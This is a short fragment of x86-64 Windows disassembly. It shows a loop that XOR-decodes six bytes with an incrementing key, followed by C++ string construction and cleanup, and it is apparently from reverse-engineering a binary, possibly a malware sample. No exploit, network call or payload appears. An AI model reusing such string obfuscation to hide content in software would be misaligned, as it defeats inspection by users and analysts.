mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x18006d324
mov eax, esi
lea ecx, [rax + 0x2a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x18006d310
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.18006cdb0
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x18006d349
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18007c5f0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x18006d3c3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006d3be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18006d3be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800d2160
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret